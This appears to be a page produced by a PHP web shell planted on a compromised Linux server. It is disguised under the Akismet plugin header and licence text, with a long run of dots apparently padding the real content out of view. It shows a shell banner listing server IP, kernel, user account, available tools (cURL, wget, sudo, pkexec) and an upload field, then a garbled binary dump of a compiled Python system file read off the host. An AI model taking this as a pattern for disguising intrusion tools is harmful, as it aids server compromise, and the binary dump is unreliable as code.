#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /lib64/python2.7/site-packages/rhsmlib/ |
Upload File : |
�
L��ec @` s4 d d l m Z m Z m Z d d l m Z d d l m Z d d l m Z d d l
Z
d d l Z d d l
Z
d d l Z y d d l Z Wn e k
r� d Z n Xe
j e � Z e j e � � Z d e f d � � YZ d e f d � � YZ d
e f d � � YZ d d � Z d
� Z d � Z d � Z d S( i ( t print_functiont divisiont absolute_import( t
initConfig( t config( t configparserNt FilesystemWatcherc B` sG e Z d Z d � Z d � Z d � Z d � Z d � Z d d � Z RS( s,
Watches a set of directories and notifies when there are changes
Polling implementation
Calls callbacks associated with directory when the directory changes
Uses a loop running in its own thread
** Use create_filesystem_watcher to create an instance of a filesystem_watcher
c C` s t | � | _ t | _ d S( sc
:param dir_watches: list of directories to watch (see DirectoryWatch class below)
N( t sett dir_watchest Falset should_stop( t selfR ( ( s: /usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyt __init__+ s c C` s
t | _ d S( N( t TrueR
( R ( ( s: /usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyt stop2 s c C` s+ | j � } x | D] } | j � q W| S( s�
calls all callbacks in dir watches that have changed according to mtime
:return: set of dir watches that have changed, for testing purposes
( t changed_dw_sett notify( R t changed_dir_watchest dir_watch( ( s: /usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyt update5 s
c C` s; y t j j d | j � } Wn t k
r6 d } n X| S( s~
:param dw: directory watch we are looking at
:return: timestamp of directory watch we are looking at
s %sN( t ost patht getmtimet OSErrort None( R t dwt timestamp( ( s: /usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyt get_mtime? s
c C` sX t � } xH | j D]= } | j | � } | j | k r | j | � | | _ q q W| S( s�
checks which dir watches out of dir watch list have changed according to mtime of path,
updates dir watch timestamp if changed
:return: set of changed dir watches
( R R R R t add( R t changed_dwsR R ( ( s: /usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyR J s
c C` sd x# | j D] } | j | � | _ q
Wx- t | d | �sU | j � t j d � q) W| j � d S( sN
Loops while self.should_stop is false and the callback() is not true
Initializes timestamps for each dir watch in dir watch list, sets callback,
notifies dir watch if it has changed
:param user_end_loop_cb: callback function to be called at end of each iteration of the loop
:return:
t
user_callbackg @N( R R R t end_loop_cbR t timet sleepR ( R t user_end_loop_cbR ( ( s: /usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyt loopX s
N(
t __name__t
__module__t __doc__R R R R R R R# ( ( ( s: /usr/lib64/python2.7/site-packages/rhsmlib/file_monitor.pyR "